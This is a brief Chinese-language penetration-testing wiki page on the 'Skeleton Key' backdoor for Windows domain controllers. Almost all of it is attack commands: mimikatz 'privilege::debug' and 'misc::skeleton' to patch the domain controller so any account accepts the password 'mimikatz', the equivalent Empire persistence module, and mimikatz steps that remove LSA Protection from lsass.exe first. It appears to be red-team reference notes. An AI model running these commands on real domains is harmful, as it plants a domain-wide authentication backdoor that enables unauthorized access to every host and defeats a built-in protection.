> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-wei-chi/windows/skeleton-key-wan-neng-yao-shi.md).

# Skeleton Key万能钥匙

```
域控上使用mimikatz执行
>privilege::debug
>misc::skeleton
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/567.png)

```
可以使用域内任何账号以密码mimikatz登录任意域内主机
使用Empire模块
>usemodule persistence/misc/skeleton_key*
绕过LSA Protection
>privilege::debug
>!+
>!processprotect /process:lsass.exe /remove
>misc::skeleton
```